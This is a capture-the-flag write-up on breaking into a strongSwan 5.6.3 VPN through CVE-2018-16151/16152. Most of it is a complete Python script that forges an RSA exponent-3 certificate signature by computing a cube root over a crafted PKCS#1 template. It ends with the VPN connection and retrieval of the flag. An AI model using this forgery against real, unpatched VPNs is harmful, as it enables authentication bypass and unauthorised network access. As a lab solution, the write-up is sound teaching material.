Provided scripts reveal that strongswan 5.6.3 is used, and the description just begs to [look for known CVEs in strongswan](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=strongswan). Provided scripts also use keys generated by `openssl -3`, so this is definitely [https://www.strongswan.org/blog/2018/09/24/strongswan-vulnerability-(cve-2018-16151,-cve-2018-16152).html](https://www.strongswan.org/blog/2018/09/24/strongswan-vulnerability-(cve-2018-16151,-cve-2018-16152).html). It remains to find a paper referenced in blogpost and implement an attack by description.
Sample certificates are provided, but without private keys. Generate a private key; replace the modulus in sample client certificate (I was too lazy for generic certificate parsing, so just found required offsets with https://lapo.it/asn1js/ and hardcoded them); find a number that is a) a perfect cube, b) begins with a fixed sequence of bytes, c) ends with another fixed sequence of bytes including sha-256 hash of (hacked) certificate; write cubic root of that number as the signature.```import base64import hashlibimport gmpy2import textwrap
from Crypto.Util import asn1# client.certcert = base64.b64decode('''MIIDNzCCAh+gAwIBAgIIYfdJ8xaCJkgwDQYJKoZIhvcNAQELBQAwNjELMAkGA1UEBhMCRlIxDzANBgNVBAoTBkRvbmpvbjEWMBQGA1UEAxMNZG9uam9uLWN0Zi5pbzAeFw0yMTA5MTcwOTU1MDVaFw0yNDA5MTYwOTU1MDVaMD0xCzAJBgNVBAYTAkZSMQ8wDQYDVQQKEwZEb25qb24xHTAbBgNVBAMMFGNsaWVudEBkb25qb24tY3RmLmlvMIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAt75M5jZhusT2B44xmBqwi0JCLEQOQwOkLhRpPxceJwThXZyFBJDMl9zuBRwgwRNO5Ina+FRcNsKVezNPn7oko1CSbAFZYcIiNwPAo6DJIuNGAuj5y6bmv2XbDfdPton1VZXa3BwpFjPUrzwiHBdagrU48jklDDlzF59a4OH96e+N1OicFc8iJQ5unxYC62Ja2na/Wj6HDHXjwYuLGqoNLwnWWnjbBPxNccFYdFT5/bkC0Zltx8DvHKcCOASCl1C1nfnbWqUIwRhm6omuhA0RgB08edx5+LutdpObt8VzC/Cxt8Z+xYc+eJvnScBYekh9J/SjioBHqC9pIEALJ1FQKQIBA6NEMEIwHwYDVR0jBBgwFoAUk9kTZmS2NX7uHyn3G5/Szqn4kI4wHwYDVR0RBBgwFoEUY2xpZW50QGRvbmpvbi1jdGYuaW8wDQYJKoZIhvcNAQELBQADggEBAJwwzE8CvNAKQnCZevCTv0iDXlXmEf7YT851rJrmxy3B1aTwt0kyFWbr8qDhXMZ086amUW6xYyQ2Fdoc8ffJJPsRRq3H1VvTaQNc/VronlxTYEU6PzimRx4gDAT/2B+MTxkIFIb2Djf20jdXG6T+8ZRIQzm92helOXt/FUHEc0G1kImikzD24waEebRreouIBvu/XgnXfv1yZEVyS99grk9nalz4LIG9J7u1sJfgPenMe8aCLmhHDUrX/tSGnp+d3C1NKlRkzZFSSJJu8TudwDURlL6YK645eBhiyelQesalNgbKLnYa/M2Ed9zpRNrRtO0FoyJyT66jEz0tgIbJanE=''')# from generated private keyn = 28356724275333887542479317191005841901836344681482514764684314683000727258127997307522203354451506260209389558860495618651157911197702665969439701541767113639014957036332889770485907560234626893470738392903767830365952207916818525314299003562717342726400768308693767676218847016539986561889041594274433497421895733745491961162400292068956212706243412503227443603581883732522041155046661897383235418793753913419445564100489242543990897953734601881718576629190786310796785374658658929356575892823590156321474293191352513151620762967738388638691390103156605154923772003541863277268040091224525795619919764840937811046449cert = cert[:0xDE] + n.to_bytes(0x100, 'big') + cert[0x1DE:]newhash = hashlib.sha256(cert[4:0x227]).digest()if (newhash[-1] & 1) == 0:	print("nope, try again")	exit(1)# with 191 bytes of "parameters" data, there are 8 FFs in the prefixparamlen = 191sigtemplate = asn1.DerSequence([	asn1.DerSequence([		asn1.DerObjectId("2.16.840.1.101.3.4.2.1"),		asn1.DerOctetString(b'\xCC' * paramlen)	]),	asn1.DerOctetString(newhash)]).encode()sigtemplate = b'\x01' + b'\xFF' * (253 - len(sigtemplate)) + b'\x00' + sigtemplateassert len(sigtemplate) == 255parampos = sigtemplate.find(b'\xCC' * paramlen)paramend = parampos + paramlensigtemplate_num = int.from_bytes(sigtemplate[:parampos] + b'\0' * paramlen + sigtemplate[paramend:], 'big')cuberoot_lastbits = 1for n in range(1, (len(sigtemplate) - paramend) * 8):	if (pow(cuberoot_lastbits, 3) ^ sigtemplate_num) & (1 << n):		cuberoot_lastbits ^= 1 << nmask_lastbits = (1 << ((len(sigtemplate) - paramend) * 8)) - 1cuberoot = int(gmpy2.iroot(sigtemplate_num - 1, 3)[0]) + 1assert pow(cuberoot, 3) >= sigtemplate_numif (cuberoot & mask_lastbits) > cuberoot_lastbits:	cuberoot += mask_lastbits + 1cuberoot = (cuberoot & ~mask_lastbits) + cuberoot_lastbitshackedval = pow(cuberoot, 3).to_bytes(255, 'big')if hackedval[:parampos] != sigtemplate[:parampos] or hackedval[paramend:] != sigtemplate[paramend:]:	print("nope, try again")	exit(1)cert = cert[:-256] + cuberoot.to_bytes(256, 'big')open('fakeclient.pem', 'w').write('-----BEGIN CERTIFICATE-----\n' + '\n'.join(textwrap.wrap(base64.b64encode(cert).decode('ascii'), 64)) + '\n-----END CERTIFICATE-----\n')```
With private key and hacked certificate, follow the provided scripts to connect to VPN network. After connection, other servers reside in 10.13.0.x network; app serving the flag listens on port 8000, it's ip turns out to be 10.13.0.3, curl http://10.13.0.3:8000 reveals the flag `CTF{fun_with_CVE-2018-16151_and_CVE-2018-16152}`.